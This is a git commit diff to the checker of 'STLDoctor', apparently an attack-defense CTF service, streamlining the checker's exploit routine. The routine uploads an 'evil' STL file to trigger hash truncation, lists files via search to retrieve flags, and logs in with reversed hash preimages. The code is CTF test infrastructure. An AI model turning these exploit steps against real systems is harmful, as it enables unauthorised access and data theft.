commit 14ac78e63dbd2233d3dd577a0684a3dd8566234a
parent c7c6f38c144142563e135eceb5daed492c203a85
Author: Louis Burda <quent.burda@gmail.com>
Date: Fri, 25 Jun 2021 02:06:58 +0200
improve checker exploit runtime slightly
Diffstat:
1 file changed, 7 insertions(+), 13 deletions(-)
diff --git a/checker/src/checker.py b/checker/src/checker.py
@@ -394,14 +394,10 @@ class STLDoctorChecker(BaseChecker):
if self.variant_id == 0:
name = self.fakeid()
- # Upload evil file for hash truncation
+ # Upload evil file for parse via search for hash truncation
conn = self.openconn()
resp,mid = self.putfile(conn, name, name, stlfile=evil_file)
self.debug(f"Uploaded evil file with id {mid}")
- self.closeconn(conn)
-
- # Parse evil file
- conn = self.openconn()
resp = self.getfile(conn, name, download=False)
conn.write("search last\n")
filelist = [l.strip().split(b" : ")[1] for l in conn.recvuntil("? ").split(b"\n") if b" : " in l]
@@ -413,14 +409,8 @@ class STLDoctorChecker(BaseChecker):
self.debug("Targets:\n" + "\n".join([' - ' + l.decode('latin1') for l in filelist]))
for i, fhash in enumerate(filelist):
self.debug(f"Retrieving file {fhash} at index {i}")
- conn.write(f"{i}\ny\n")
+ conn.write(f"{i}\nn\n")
resp = conn.recvuntil("==================")
- resp += conn.recvuntil(b"Here you go.. (")
- try:
- size = int(conn.recvuntil(b"B)\n")[:-3])
- except:
- raise BrokenServiceException("Download size is not a valid integer")
- resp += conn.recvn(size)
resp += conn.recvuntil("? ")
found = self.search_flag_bytes(resp)
if found is not None or i == len(filelist) - 1:
@@ -462,7 +452,11 @@ class STLDoctorChecker(BaseChecker):
resp = conn.recvuntil(self.prompt)
if b"Welcome back" not in resp:
- raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}")
+ self.closeconn(conn)
+ continue
+ # NOTE: dont raise an exception, could be that user dir was cleaned up just
+ # before we logged in, not necessarily because of invalid prehash
+ # raise EnoException(f"Reversing of hash {u} returned invalid preimage {user}")
conn.write("list\n")
resp = conn.recvuntil(self.prompt)
